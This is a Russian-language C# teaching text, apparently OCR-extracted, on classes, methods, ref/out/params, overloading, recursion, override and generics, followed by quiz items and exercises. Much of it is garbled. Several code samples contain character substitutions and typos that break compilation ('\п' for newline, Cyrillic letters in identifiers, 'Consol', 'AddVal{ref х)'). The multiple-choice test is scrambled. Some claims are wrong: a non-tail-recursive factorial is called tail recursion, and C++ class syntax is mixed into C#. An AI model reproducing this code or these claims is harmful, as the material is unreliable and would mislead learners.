объекта с именем члена класса. Ниже приведена общая форма
оператора-точки.
объект.член
В этой форме объект указывается слева, а член — справа.
Например, присваивание значения 2 переменной Floors объекта
house осуществляется с помощью следующего оператора.
house.Floors = 2;
В целом, оператор-точка служит для доступа к переменным
экземпляра и методам. Ниже приведен полноценный пример
программы, в которой используется класс Building.
// Программа, в которой используется класс Building.
using System;
class Building {
public int Floors; // количество этажей
public int Area; // общая площадь здания
public int Occupants; // количество жильцов
}
//В этом классе объявляется объект типа Building,
class BuildingDemo {
static void Main() {
Building house = new Building(); // создать объект типа Building
int areaPP; // площадь на одного человека
// Присвоить значения полям в объекте house,
house.Occupants = 4;
house.Area = 2500;
house.Floors = 2;
// Вычислить площадь на одного человека.
areaPP = house.Area / house.Occupants;
Console.WriteLine("Дом имеет:\п " +
house.Floors + " этажа\п " +
house.Occupants + " жилыда\п " +
house.Area +
" кв. футов общей площади, из них\п " +
агеаРР + " приходится на одного человека");
}
}
Эта программа состоит из двух классов: Building и BuildingDemo.
В классе BuildingDemo сначала создается экземпляр house класса
Building с помощью метода Main (), а затем в коде метода Main ()
осуществляется доступ к переменным экземпляра house для
присваивания им значений и последующего использования этих
значений. Следует особо подчеркнуть, что Building и BuildingDemo —
это два совершенно отдельных класса. Единственная взаимосвязь
между ними состоит в том, что в одном из них создается экземпляр
другого. Но, несмотря на то, что это раздельные классы, у кода из
класса BuildingDemo имеется доступ к членам класса Building,
поскольку они объявлены как открытые (public). Если бы при их
объявлении не был указан спецификатор доступа public, то доступ к
ним ограничивался бы пределами Building, а следовательно, их нельзя
было бы использовать в классе BuildingDemo.
Допустим, что исходный текст приведенной выше программы
сохранен в файле UseBuilding.cs. В результате ее компиляции
создается файл UseBuilding.exe.
При этом оба класса. Building и BuildingDemo, автоматически
включаются в состав исполняемого файла. При выполнении данной
программы выводится следующий результат.
Дом имеет:
2 этажа
4 жильца
2500 кв. футов общей площади, из них
625 приходится на одного человека
Тема лаб: Решение задач.
Рассмотрим примеры из семинарского занятия:
// Программа, в которой используется класс Building.
using System;
class Building {
public int Floors; // количество этажей
public int Area; // общая площадь здания
public int Occupants; // количество жильцов
}
//В этом классе объявляется объект типа Building,
class BuildingDemo {
static void Main() {
Building house = new Building(); // создать объект типа
Building
int areaPP; // площадь на одного человека
// Присвоить значения полям в объекте house,
house.Occupants = 4;
house.Area = 2500;
house.Floors = 2;
// Вычислить площадь на одного человека.
areaPP = house.Area / house.Occupants;
Console.WriteLine("Дом имеет:\п " +
house.Floors + " этажа\п " +
house.Occupants + " жилыда\п " + house.Area +
" кв. футов общей площади, из них\п " +
агеаРР + " приходится на одного человека");
}
}
Тема СРСП – 1.Методы
Как пояснялось выше, переменные экземпляра и методы
являются двумя основными составляющими классов. До сих пор класс
Building, рассматриваемый здесь в качестве примера, содержал
только данные, но не методы. Хотя классы, содержащие только
данные, вполне допустимы, у большинства классов должны быть
также методы. Методы представляют собой подпрограммы, которые
манипулируют данными, определенными в классе, а во многих
случаях они предоставляют доступ к этим данным. Как правило,
другие части программы взаимодействуют с классом посредством его
методов.
Метод состоит из одного или нескольких операторов. В грамотно
написанном коде С# каждый метод выполняет только одну функцию.
У каждого метода имеется свое имя, по которому он вызывается. В
общем, методу в качестве имени можно присвоить любой
действительный идентификатор. Следует, однако, иметь в виду, что
идентификатор Main () зарезервирован для метода, с которого
начинается выполнение программы. Кроме того, в качестве имен
методов нельзя использовать ключевые слова С#.
Так, если методу присвоено имя GetVal, то в тексте книги он
упоминается в следующем виде: GetVal (). Такая форма записи
помогает отличать имена методов от имен переменных при чтении
книги.
Ниже приведена общая форма определения метода:
доступ возращаемый_тип имя(список_параметров) {
// тело метода
}
где доступ — это модификатор доступа, определяющий те части
программы, из которых может вызываться метод. Как пояснялось
выше, указывать модификатор доступа необязательно. Но если он
отсутствует, то метод оказывается закрытым (private) в пределах того
класса, в котором он объявляется. Мы будем пока что объявлять
методы открытыми (public), чтобы вызывать их из любой другой части
кода в программе. Затем возращаемый_тип обозначает тип данных,
возвращаемых методом. Этот тип должен быть действительным, в том
числе и типом создаваемого класса. Если метод не возвращает
значение, то в качестве возвращаемого для него следует указать тип
void. Далее имя обозначает конкретное имя, присваиваемое методу. В
качестве имени метода может служить любой допустимый
идентификатор, не приводящий к конфликтам в текущей области
объявлений. И наконец, список_параметров — это оследовательность
пар, состоящих из типа и идентификатора и разделенных запятыми.
Параметры представляют собой переменные, получающие значение
аргументов, передаваемых методу при его вызове. Если у метода
отсутствуют параметры, то список параметров оказывается пустым.
Тема СРСП – 2, 3. Использование модификаторов
параметров ref и out
Модификаторы для параметров методов. В большинстве случаев
методы используют параметры. Модификаторы для параметров
методов могут быть такими:
1) in (по умолчанию) - Параметр с модификатором in - это
входящий параметр, передаваемый как значение.
2) out - исходящий параметр, который возвращается вызванным
методом вызывающему.
3) ref - исходное значение присваивается вызывающим методом,
но оно может быть изменено вызванным методом. При этом
происходит передача параметра по ссылке.
4) params - Этот модификатор позволяет передавать целый
набор параметров как единое целое. В любом методе может быть
только один модификатор params, и параметр с этим модификатором
может быть только последним параметром в списке параметров
метода.
По умолчанию CLR предполагает, что все параметры методов
передаются значением. При передаче объекта ссылочного типа методу
передается значением ссылка (или указатель) на этот объект. Это
означает, что метод может изменить переданный объект и
вызывающий код получит измененный объект. Если параметром
является экземпляр размерного типа, то методу передается его копия.
Это означает, что метод получает собственную копию объекта
размерного типа, не доступную никому, кроме него, а исходный
экземпляр объекта остается неизменным. CLR также позволяет
передавать параметры ссылкой, а не значением. В С# это делается с
помощью ключевых слов out и ref. Оба модификатора заставляют
компилятор генерировать код, передающего вместо самого параметра
его адрес. Разница между этими ключевыми словами касается метода
инициализации объекта, на который указывает переданная ссылка.
Если параметр метода помечен ключевым словом out, то вызывающий
код может не инициализировать его, пока не будет вызван этот метод.
В этом случае вызванный метод не может читать значение параметра
и должен записать его, прежде чем вернуть управление. Если
параметр метода помечен ключевым словом ref, то вызывающий код
должен инициализировать его перед вызовом этого метода, а
вызванный метод может, как читать, так и записывать значение
параметра. Использование ключевых слов out и ref с размерными и
ссылочными типами существенно отличается. Пример их
использование с размерными типами:
class Арр {
static void Main()
{
Int32 x; SetVal(out x); // Инициализировать параметр ж не
обязательно.
Consol.WriteLine(x); // Выводит на консоль "10".
}
static void SetVal(out Int32 v) { v = 10;} // Этот метод должен
инициализировать v.
}
В синтаксисе вызова метода используется ключевое слово out .
Переменная х объявлена в стеке потока, ее адрес передается методу
SetVal. Параметр этого метода v представляет собой указатель на
размерный тип Int32. Внутри метода SetVal значение Int32, на которое
указывает v, изменяется на 10. Когда SetVal возвращает управление, х
равно 10, то же самое значение выводится на консоль. Использование
out с размерными типами эффективно, так как оно предотвращает
копирование экземпляров размерного типа при вызовах методов.
Пример, в котором вместо out использовано ключевое слово ref:
using System;
class Арр {
static void Main() {
Int32 x = 5; AddVal(ref x); //Параметр x должен быть
инициализирован.
Console.WriteLine(x); // Выводит на консоль "15".
}
static void AddVal(ref Int32 v)
{
v += 10;
} // Этот метод может использовать инициализированный
параметр v
}
Переменная х объявлена в стеке потока и инициализирована
значением 5. Далее адрес х передается методу AddVal, чей параметр v
является указателем на размерный тип Int32. Внутри метода AddVal
должно быть уже инициализированное значение Int32, на которое
указывает параметр v. Таким образом, AddVal может использовать
первоначальное значение v в любом выражении. AddVal также может
изменить это значение, тогда вызывающему коду «вернется» уже
новое значение. В этом примере AddVal прибавляет к исходному
значению 10. Когда AddVal возвращает управление, переменная х
метода Main содержит значение «15», которое затем выводится на
консоль. С точки зрения IL или CLR, ключевые слова out и ref ничем
не отличаются: оба заставляют передать указатель на экземпляр
объекта. Разница в том, что они помогают компилятору
гарантировать отсутствие ошибок в коде. Следующий код пытается
передать методу, ожидающему параметр ref, неинициализированное
значение, чем вызывает ошибку компиляции: Int32 x; AddVal{ref
х); //ошибка при компиляции Кроме того, CLR позволяет по-разному
перегружать методы в зависимости от того, параметры с каким
модификатором в них используются. Следующий код допустим и
прекрасно компилируется:
class Point {
static void Add(Point p) {... }
static void Add(ref Point p) {... } }
Не допускается перегружать методы, отличающиеся только
типом параметров (out или ref), так как в результате ЛТ-компиляции
подобных методов генерируется идентичный код. Поэтому в
показанном выше типе Point нельзя определить метод: static void
Add(out Point p){...} Использование ключевых слов out и ref с
размерными типами дает тот же результат, что и передача ссылочного
типа значением. Ключевые слова out и ref позволяют методу
манипулировать единственным экземпляром размерного типа.
Вызывающий код должен выделить память для этого экземпляра, а
вызванный метод будет управлять выделенной памятью. В случае
ссылочных типов вызывающий код выделяет память для указателя на
передаваемый объект, а вызванный код манипулирует этим
указателем. Если параметр ссылочного типа указывается с одним из
модификаторов ref и out, то по сути реализуется передача ссылки по
ссылке. В силу этих особенностей использование ключевых слов out и
ref со ссылочными типами полезно, лишь когда метод собирается
«вернуть» ссылку на известный ему объект. Пример
class SomeType {
public int32val;
}
class App {
static void Main() {
SomeType ob;
CreateOb(out ob); // если без out, то компилятор выдаст
сообщение использования
// локальной переменной ob, которой не присвоено значение.
Console.WriteLine(ob.val);
}
static void CreateOb(out SomeType a)
{
a=new SomeType(); a.val = 30; }
}
Метод с параметром ссылочного типа, помеченным ключевым
словом out, создает объект, возвращая вызывающему коду указатель
на новый объект. При отсутствии модификатора out компилятор
выдаст сообщение об ошибке. Важное замечание: переменные,
передаваемые методу ссылкой, должны быть одного типа. Пример
программы, меняющей местами строки:
using System;
class Арр {
static public void Swap( ref Object a, ref Object b) {
Object t = b; b = a; a = t; }
static void Main() {
String s1 = "Jeffrey"; String s2 = "Richter"; // Типы переменных,
передаваемых ссылкой, // должны соответствовать ожидаемым
методом.
Object ol = s1;
о2 = s2;
Swap(ref ol, ref o2); // Теперь преобразуем объекты обратно в
строки, s1 = (String) ol;
s2 = (String) o2;
Console.WriteLine(s1); // Выводит "Richter" Console.WriteLine(s2);
// Выводят "Jeffrey"
}
} Использование переменного количества параметров. При
создании метода обычно заранее известно количество аргументов,
которые будут ему передаваться. Но иногда необходимо, чтобы метод
принимал произвольное число аргументов. Например, метод,
который находит минимальное значение в наборе чисел. Такому
методу может быть передано два, три или четыре значения. В любом
случае метод должен возвращать наименьшее значение. Такой метод
невозможно создать при использовании обычных параметров. Здесь
необходимо применить специальный тип параметра, который
заменяет собой произвольное количество параметров. Это
реализуется с помощью модификатора params. Этот модификатор
используется для передачи набора параметров (в неопределенном
количестве) как одного параметра. Модификатор params используется
для объявления параметра-массива, который сможет получить
некоторое количество аргументов (в том числе и нулевое). Количество
элементов в массиве будет равно числу аргументов, переданных
методу. Пусть имеется метод
static void Display( string msg, params int[] list) {
Console.WriteLine(msg);
for (int i = 0; i < listLength; i++)
Console.WriteLine(list[i]);
}
Метод Display принимает два физических параметра: один типа string, а второй - как параметризованный массив значений типа
int. При вызове этого метода в качестве первого параметра
обязательно указывается символьная строка, а в качестве второго
любое количество целых. Можно вызвать этот метод любым из
следующих способов: public static void Main() { //Передаем значения
методу, объявленному с модификатором
params int[] IntArray = new int[4]{10,11,12,16};
Display("Maccив”, IntArray);
Display("Три целых", 1,2,3);
Disp1ау("Сколько угодно", 55,983,98,33); }
Контрольные вопросы:
1. Что такое класс?
2. В какой части программного кода можно объявлять класс?
3. С помощью каких служебных слов можно объявлять класс?
4. На какие виды делятся класс?
5. Как объявляются глобальный класс?
6. Как объявляются локальный класс?
7. Как создать защищённый класс?
ТЕСТЫ:
1.
А)
B)
C)
D)
2.
А)
В какой части программного кода можно создать класс?
public partial class
public Form1()
public button1_Click()
public TextBox1_ Click ()
Синтаксис объявления класса
class имя класса
{
private:
переменные и функции;
protected:
переменные и функции;
public:
переменные и функции;
};
B)
class имя класса
{
переменные и функции;
};
C)
class имя класса
{
переменные и функции
}
D)
class имя класса
{
процедура_и_функция;
};
3.
Какое
ключевое
слово
используется
для
создания
слово
используется
для
создания
используется
для
создания
локального класса?
А)
Private
B)
Protected
C)
Public
D)
MessageBox
4.
Какое
ключевое
глобального класса?
А)
public
B)
Protected
C)
Private
D)
MessageBox
5.
Какое
ключевое
слово
защищённого класса?
А)
Protected
B)
Public
C)
Private
D)
MessageBox
6.
Какой из объявления класса правильный?
А)
B)
public class factorial
class public factorial
C)
factorial class
D)
Factorial private class
7.
Какой из объявления класса правильный?
А)
B)
private class jamik
class private factorial
C)
factorial class ();
D)
Factorial private class
8.
Какой оператор используется для возврата результата
вычислений класса?
А)
return
B)
MessageBox
C)
Print
D)
textbox
9.
Какой из вариантов использования оператора return
является правильным?
А)
B)
return (l+5);
return l+5
C)
return l
D)
(K+5) return ;
10.
Какой из вариантов использования оператора return
является правильным?
А)
B)
return p;
return l+5
C)
return l
D)
(K+5) return ;
11.
Какой из объявления класса является неправильным?
А)
Factorial private class
B)
public class factorial
C)
protected class factorial
D)
private class factorial
12.
Какой из объявления класса является неправильным?
А)
B)
Sinf private class
public class Sinf
C)
protected class Sinf
D)
private class Sinf
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1. Даны стороны двух треугольников. Определить какое из них имеет
большее площадь (Определить класс для расчета площади
треугольника по его сторонам.)
2. Определить значение z  max( a,2b) * max( 2a  b, b) , где max( x, y ) максимальное из чисел х,у. (определив класс max)
3. Рассчитать значение y, определив необходимый класс.
y
a a
b b
c c


2
2
2
4. Даны основания и высоты двух треугольников. Найти разность их
площадей. (Определить класс для расчета площади треугольника по
ее основаниям и высоте.)
5. Даны стороны двух треугольников. Найти сумму их площадей
(Определить класс для расчета площади треугольника по его
сторонам.)
6. Найти периметр четырехугольника, заданного координатами своих
вершин (Определить класс для расчета длины отрезка по
координатам его вершин.)
7. Определить максимальное число из трёх чисел, используя общую
процедуру определения максимального числа из двух чисел.
8. Определить периметр и площадь произвольного четырёхугольника
по его сторонам и одной из диагоналей.
9. Два треугольника заданы своими сторонами. Вывести площадь
большего треугольника. Определить площадь треугольника по
формуле Герона и найти максимальное из двух чисел, задав
соответствующие классы.
10. Составить программу проверки знаний таблицы умножения.
Использовать процедуру для выбора случайного числа.
11. Дана текстовая строка. Написать классы, выполняющие следующие
действия:

Подсчёт количества слов с строке

Подсчёт количества цифр в строке.
12. Найти наименьшее общее кратное (НОК) двух чисел N и M,
используя общую процедуру нахождения наибольшего общего
делителя(НОД).
13. Даны три квадратных уравнения ax 2  bx  c , bx 2  ax  c , cx 2  ax  b .
Сколько из них имеют вещественные корни (Определить класс,
позволяющую распознавать наличие вещественных корней в
квадратном уравнении.)
Модуль 12.
Тема лекции: Функции
1. Понятия о функциях
2. Описания функции
Цель работы – изучить возможности языка по организации
функций, получить практические навыки в составлении программ с
их использованием.
Функция
–
самостоятельная
единица
программы,
спроектированная
для
реализации
конкретной
задачи,
представляющая именованную группу операторов и выполняющая
законченное действие. Вызов функции приводит к выполнению
некоторых действий. К функции можно обратиться по имени,
передать ей значения и получить из нее результат. Функции
избавляют нас от повторного программирования, позволяют
использовать их в различных программах, повышают уровень
модульности программы. Функции нужны для упрощения структуры
программы. Разбив задачу на подзадачи и оформив каждую из них в
виде функций, мы улучшаем понятность и структурированность
программы.
На практике программирования часто встречается ситуация,
когда одну и ту же группу операторов, реализующих определенный
алгоритм, требуется повторить без изменений в нескольких других
местах программы. Такую группу операторов во всех языках
программирования принято называть подпрограммой, ее можно
вызвать для исполнения по имени любое количество раз из различных
мест программы.
Подпрограмма имеет ту же структуру, что и монолитная
программа. То есть может содержать разделы описания переменных,
типов, констант и т.д. Имена объектов, описанных в подпрограмме,
считаются известными только в пределах данной подпрограммы.
Описание функций
Функция может принимать параметры и возвращать значение.
Передача в функцию различных аргументов позволяет, записав ее
один раз, использовать многократно для разных данных. Чтобы
использовать функцию, не требуется знать, как она работает –
достаточно знать, как ее вызвать.
Для использования функции тоже требуется знать только ее
интерфейс
(т. е. правила
обращения).
Интерфейс
грамотно
написанной функции определяется ее заголовком, потому что в нем
указывается все, что необходимо для ее вызова: имя функции, тип
результата, который она возвращает, а также, сколько аргументов и
какого типа ей нужно передать.
Объявление функции (прототип, заголовок, сигнатура) задает ее
имя, тип возвращаемого значения и список передаваемых
параметров. Формат простейшего заголовка (прототипа) функции:
[ класс ] тип имя ([ список_формальных_параметров ]);
Определение функции содержит, кроме объявления, тело
функции, представляющее собой последовательность операторов и
описаний в фигурных скобках:
[ класс ] тип имя ([ список_формальных_параметров ])
{
тело функции
}
Выражение,
записанное
в
квадратных
опциональным и может быть опущено.
скобках,
является
Рассмотрим составные части определения.
1. С помощью необязательного модификатора класс можно явно
задать область видимости функции, используя ключевые слова extern
и static:
- extern – глобальная видимость во всех модулях программы (по
умолчанию);
- static – видимость только в пределах модуля, в котором
определена функция.
2. Тип возвращаемого функцией значения может быть любым,
кроме массива и функции (но может быть указателем на массив или
функцию). Если функция не должна возвращать значение,
указывается тип void.
3. Список формальных параметров определяет данные, которые
требуется передать в функцию при ее вызове. Элементы списка
параметров разделяются запятыми. Для каждого параметра,
передаваемого в функцию, указывается его тип и имя (в объявлении
имена можно опускать), а также значение параметра по умолчанию
(при этом все параметры правее данного должны также иметь
значения по умолчанию).
Функция активируется с помощью оператора вызова функции, в
котором содержатся имя функции и параметры (если это
необходимо). Вызов функции приводит к выполнению операторов,
составляющих тело функции, и выглядит следующим образом:
имя ([ список_фактических_параметров ]);
В определении, в объявлении и при вызове одной и той же
функции типы и порядок следования параметров должны совпадать.
На имена параметров ограничений по соответствию не накладывается,
поскольку функцию можно вызывать с различными аргументами, а в
прототипах имена компилятором игнорируются (они служат только
для улучшения читаемости программы).
Функцию можно определить как встроенную с помощью
модификатора inline, который рекомендует компилятору вместо
обращения к функции помещать ее код непосредственно в каждую
точку вызова. Модификатор inline ставится перед типом функции. Он
применяется для коротких функций, чтобы снизить накладные
расходы на вызов (сохранение и восстановление регистров, передача
управления). Директива inline носит рекомендательный характер и
выполняется компилятором по мере возможности. Использование
inline-функций может увеличить объем исполняемой программы.
Определение функции должно предшествовать ее вызовам, иначе
вместо inline-расширения компилятор сгенерирует обычный вызов.
Все величины, описанные внутри функции, а также ее
параметры, являются локальными. Областью их действия является
функция. При вызове функции, как и при входе в любой блок, в стеке
выделяется память под локальные автоматические переменные.
Кроме того, в стеке сохраняется содержимое регистров процессора на
момент, предшествующий вызову функции, и адрес возврата из
функции для того, чтобы при выходе из нее можно было продолжить
выполнение вызывающей функции.
При выходе из функции соответствующий участок стека
освобождается, поэтому значения локальных переменных между
вызовами одной и той же функции не сохраняются. Если этого
требуется избежать, при объявлении локальных переменных
используется модификатор static.
Тип возвращаемого значения и типы параметров совместно
определяют тип функции.
Возврат вычисленного значения организуется следующим
образом. В теле функции должен присутствовать оператор return
после которого следует выражение, вычисляющее возвращаемое
значение. Таких операторов может быть несколько; важно, чтобы хоть
один из них срабатывал в процессе выполнения тела функции. Тип
выражения в правой части такого присваивания должен быть
совместимым с типом функции.
Для вызова функции в простейшем случае нужно указать ее имя,
за которым в круглых скобках через запятую перечисляются имена
передаваемых аргументов. Вызов функции может находиться в любом
месте программы, где по синтаксису допустимо выражение того типа,
который формирует функция. Если тип возвращаемого функцией
значения не void, она может входить в состав выражений или, в
частном случае, располагаться в правой части оператора
присваивания.
Объявление и определение функции может совпадать, но перед
вызовом компилятор должен знать прототип функции, поэтому
одновременное объявление и определение должно следовать перед
вызовом функции.
Тема семинара: Перегрузка функций
Перегрузкой функций называется использование нескольких
функций с одним и тем же именем, но с различными списками
параметров. Перегруженные функции должны отличаться друг от
друга либо типом хотя бы одного параметра, либо количеством
параметров, либо и тем и другим одновременно. Перегрузка является
видом полиморфизма и применяется в тех случаях, когда одно и то же
по смыслу действие реализуется по-разному для различных типов или
структур данных. Компилятор сам определяет, какой именно вариант
функции вызвать, руководствуясь списком аргументов.
Если же алгоритм не зависит от типа данных, лучше реализовать
его не в виде группы перегруженных функций для различных типов, а
в виде шаблона функции. В этом случае компилятор сам сгенерирует
текст функции для конкретных типов данных, с которыми
выполняется вызов, и программисту не придется поддерживать
несколько практически одинаковых функций.
Небольшие перегруженные функции удобно применять при
отладке программ.
При написании перегруженных функций основное внимание
следует обращать на то, чтобы в процессе поиска нужного варианта
функции по ее вызову не возникало неоднозначности.
Неоднозначность может возникнуть по нескольким причинам. Вопервых, из-за преобразований типов, которые компилятор выполняет
по умолчанию. Их смысл сводится к тому, что более короткие типы
преобразуются в более длинные. Если соответствие между
формальными параметрами и аргументами функции на одном и том
же этапе может быть получено более чем одним способом, вызов
считается неоднозначным и выдается сообщение об ошибке.
Неоднозначность может также возникнуть из-за параметров по
умолчанию и ссылок. Рассмотрим создание перегруженных функций
на примере.
Тема лаб: Анализ программы
1. Определить функцию, возвращающую максимальное из нескольких чисел.
Выполнить перегрузку функции для следующих типов параметров:
1.1. Два параметра типа int.
1.2. Три параметра типа int.
1.3. Два параметра типа float.
1.4. Три параметра типа double.
namespace BD
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
MessageBox.Show(max(9, 10, 3).ToString());
}
int max( int a, int b)
{
if (a > b)
{
return a;
}
else { return b; }
}
int max(int a, int b,int c)
{
if (a > b && a>c)
{
return a;
}
else if ((b > a && b > c))
{
return b;
}
else { return c; }
}
double max(double a, double b)
{
if (a > b)
{
return a;
}
else { return b; }
}
double max(double a, double b, double c)
{
if (a > b && a > c)
{
return a;
}
else if ((b > a && b > c))
{
return b;
}
else { return c; }
}
}
}
ТЕМА СРСП – 1. РЕКУРСИЯ
Рекурсия является одним из наиболее мощных средств в
арсенале программиста. Рекурсивные структуры данных и
рекурсивные методы широко используются при построении
программных систем. Рекурсивные методы, как правило, наиболее
всего удобны при работе с рекурсивными структурами данных списками, деревьями. Рекурсивные методы обхода деревьев служат
классическим примером. Метод P называется рекурсивным, если при
выполнении тела метода происходит вызов метода P.
Рекурсия может быть прямой, если вызов P происходит
непосредственно в теле метода P. Рекурсия может быть косвенной,
если в теле P вызывается метод Q (эта цепочка может быть
продолжена), в теле которого вызывается метод P.
Для того чтобы рекурсия не приводила к зацикливанию, в тело
нормального рекурсивного метода всегда встраивается оператор
выбора, одна из ветвей которого не содержит рекурсивных вызовов.
Если в теле рекурсивного метода рекурсивный вызов встречается
только один раз, значит, что рекурсию можно заменить обычным
циклом, что приводит к более эффективной программе, поскольку
реализация рекурсии требует временных затрат и работы со стековой
памятью.
Приведем
вначале
простейший
пример
рекурсивного
определения функции, вычисляющей факториал целого числа:
public long factorial(int n) {
if (n <= 1) return 1;
else return n * factorial(n - 1);
} //factorial
Функция factorial является примером прямого рекурсивного
определения - в ее теле она сама себя вызывает. Здесь, как и положено,
есть
нерекурсивная
ветвь,
завершающая
вычисления,
когда n становится равным единице. Это пример так называемой
«хвостовой» рекурсии, когда в теле встречается ровно один
рекурсивный вызов, стоящий в конце соответствующего выражения.
Хвостовую рекурсию намного проще записать в виде обычного цикла.
Вот циклическое определение той же функции:
public long fact(int n) {
long res = 1;
for (int i = 2; i <= n; i++) res *= i;
return (res);
}
Конечно, циклическое определение проще, понятнее и
эффективнее, и применять рекурсию в подобных ситуациях не
следует. Интересно сравнить время вычислений, дающее некоторое
представление о том, насколько эффективно реализуется рекурсия.
Вот соответствующий тест, решающий эту задачу:
public void TestTailRec() {
long time1, time2;
long f = 0;
time1 = getTimeInMilliseconds();
for (int i = 1; i < 1000000; i++)
f = fact(15);
time2 = getTimeInMilliseconds();
Console.WriteLine(" f= {0}, " +
"Время работы циклической процедуры :{1}", f,time2 -time1);
time1 = getTimeInMilliseconds();
for (int i = 1; i < 1000000; i++)
f = factorial(15);
time2 = getTimeInMilliseconds();
Console.WriteLine(" f= {0}, " + "Время работы
рекурсивной процедуры:{1}", f,time2 -time1);
}
Каждая из функций вызывается в цикле, работающем 1000000
раз. До начала цикла и после его окончания вычисляется текущее
время. Разность этих времен и дает оценку времени работы функций.
Обе функции вычисляют факториал числа 15.
Проводить сравнение эффективности работы различных
вариантов - это частый прием, используемый при разработке
программ. Встроенный тип DateTime обеспечивает необходимую
поддержку для получения текущего времени. Он совершенно
необходим, когда приходится работать с датами. Статический
метод Now классаDateTime возвращает
объект
этого
класса,
соответствующий дате и времени в момент создания объекта.
Многочисленные свойства этого объекта позволяют извлечь
требуемые
характеристики.
Приведем
текст
функции
getTimelnMilliseconds:
private long getTimeInMilliseconds() {
DateTime time = DateTime.Now;
return (((time.Hour*60 + time.Minute)*60 + time.Second)
*1000 + time.Millisecond);
}
Результаты измерений времени работы рекурсивного и
циклического вариантов функций слегка отличаются от запуска к
запуску, но порядок остается одним и тем же.
Вовсе не обязательно, что рекурсивные методы будут работать
медленнее нерекурсивных. Классическим примером являются методы
сортировки. Известно, что время работы нерекурсивной пузырьковой
сортировки имеет порядок c*n2, где c - некоторая константа. Для
рекурсивной процедуры сортировки слиянием время работы q*n*log(n), где q - константа. Понятно, что для больших n сортировка
слиянием работает быстрее, независимо от соотношения значений
констант. Сортировка слиянием - хороший пример применения
рекурсивных методов. Она демонстрирует известный прием, суть
которого в том, что исходная задача разбивается на подзадачи
меньшей размерности, допускающие решение тем же алгоритмом.
Решения отдельных подзадач затем объединяются, давая решение
исходной задачи. В задаче сортировки исходный массив размерности
n можно разбить на два массива размерности n/2, для каждого из
которых рекурсивно вызывается метод сортировки слиянием.
Полученные отсортированные массивы сливаются в единый массив с
сохранением упорядоченности.
ТЕМА СРСП – 2. ПЕРЕОПРЕДЕЛЕНИЕ ФУНКЦИИ
Переопределение
метода
в
объектно-ориентированном
программировании
—
одна
из
возможностей
языка
программирования, позволяющая подклассу или дочернему классу
обеспечивать
специфическую
реализацию
метода,
уже
реализованного в одном родительских классов. Реализация метода в
подклассе переопределяет его реализацию в родительском классе,
описывая метод с тем же названием, что и у метода родительского
класса, а также у нового метода подкласса должны быть те же
параметры или сигнатура, тип возвращаемого результата, что и у
метода родительского класса. Версия метода, которая будет
исполнятся, определяется объектом, используемым для его вызова.
Если вызов метода происходит от объекта родительского класса, то
выполняется версия метода родительского класса, если же объект
подкласса вызывает метод, то выполняется версия дочернего класса.
Метод, переопределенный объявлением override, называется
переопределенным базовым методом. Переопределенный базовый
метод должен иметь ту же сигнатуру, что и метод override.
Невиртуальный или статический метод нельзя переопределить.
Переопределенный базовый метод должен иметь тип virtual, abstract
или override.
Объявление override не может изменить доступность метода
virtual. Методы override и virtual должны иметь одинаковый
модификатор уровня доступа.
Модификаторы new, static и virtual нельзя использовать для
изменения метода override.
Переопределяющее объявление свойства должна задавать такие
же модификатор уровня доступа, тип и имя, которые имеются у
унаследованного свойства, а переопределенное свойство должно иметь
тип virtual, abstract или override.
В этом примере определяется базовый класс с именем Employee
и производный класс с именем SalesEmployee. Класс SalesEmployee
включает дополнительное свойство salesbonus, для использования
которого переопределяется метод CalculatePay.
class TestOverride
{
public class Employee
{
public string name;
protected decimal basepay;
public Employee(string name, decimal basepay)
{
this.name = name;
this.basepay = basepay;
}
public virtual decimal CalculatePay()
{
return basepay;
}
}
public class SalesEmployee : Employee
{
private decimal salesbonus;
public SalesEmployee(string name, decimal basepay,
decimal salesbonus) : base(name, basepay)
{
this.salesbonus = salesbonus;
}
public override decimal CalculatePay()
{
return basepay + salesbonus;
}
}
static void Main()
{
SalesEmployee employee1 = new SalesEmployee("Alice",
1000, 500);
Employee employee2 = new Employee("Bob", 1200);
Console.WriteLine("Employee4 " + employee1.name +
" earned: " + employee1.CalculatePay());
Console.WriteLine("Employee4 " + employee2.name +
" earned: " + employee2.CalculatePay());
}
}
/*
Output:
Employee4 Alice earned: 1500
Employee4 Bob earned: 1200
*/
ТЕМА СРСП – 3. ШАБЛОНЫ ФУНЦИИ
Шаблоны — очень мощное средство, которое спасает нас от
необходимости писать килобайты бессмысленного и беспощадного
кода, когда нужно выполнить одни и те же операции над разными
типами данных. Конечно, мы могли бы создать класс или метод,
который работал бы с переменными object, но это неудобно, потому
что небезопасно. Шаблоны являются более мощным средством
решения однотипных задач для разных типов данных, и наиболее
мощно они проявляются в динамических массивах, которые мы будем
рассматривать позже.
Для начала посмотрим, как можно создать шаблон простого
метода:
static string sum<T>(T valuel, T value2) {
return valuel.ToString() + value2.ToString();
Я сделал метод статичным только потому, что в примере на
компакт-диске он вызывается в консольном приложении из
статичного метода Main(). Это необязательный атрибут, и шаблонные
методы могут быть и не статичными.
Самое интересное находится сразу после имени метода в
треугольных скобках. Тут объявляется какая-то строка или буква,
которая является шаблоном. Еще с классов языка С++ пошло
негласное правило именовать шаблоны буквой т (от слова Template,
шаблон). Вы можете назвать шаблон по-другому, но я рекомендую
придерживаться данного правила. Эта буква будет заменяться на тип
данных, который вы будете передавать при использовании метода или
класса.
В скобках мы указываем, что метод принимает два параметра
какого-то типа т, который определится на этапе вызова метода. В теле
метода каждая переменная приводится к строке, и выполняется
конкатенация строк.
Теперь посмотрим, как этот метод может использоваться:
static void Main(string[] args) {
string intsujn = sum<int>(10/ 20);
Console.WriteLine(intsum);
string strsum = sum<string>("Hello ", "world");
Console.WriteLine(strsum);
Console.ReadLine();
}
Сначала мы вызываем метод sum<int>. В треугольных скобках
указан тип int, а значит в нашем шаблоне везде, где была буква т, будет
подразумеваться тип данных int, т. е. метод будет принимать числа.
Именно числа мы и передаем этому методу.
Второй раз мы вызываем этот метод, указывая в качестве
шаблона строку sum<string>. На этот раз параметры передаются как
строки. Если попытаться передать числа, то произойдет ошибка.
Именно это и является мощью шаблонов. Если метод объявлен с
шаблоном определенного типа, то только параметры этого типа могут
передаваться методу. За этим следит компилятор, и он не даст
использовать разнотипные данные.
На методах показать мощь шаблонов сложно, и я не смог
придумать более интересного примера. Зато на классах шаблоны
проявляют себя намного лучше. Давайте попробуем написать класс
поддержки массива из 10 значений. Это не динамический, а
статический массив для простоты примера, но за счет шаблонов его
использование становится универсальным.
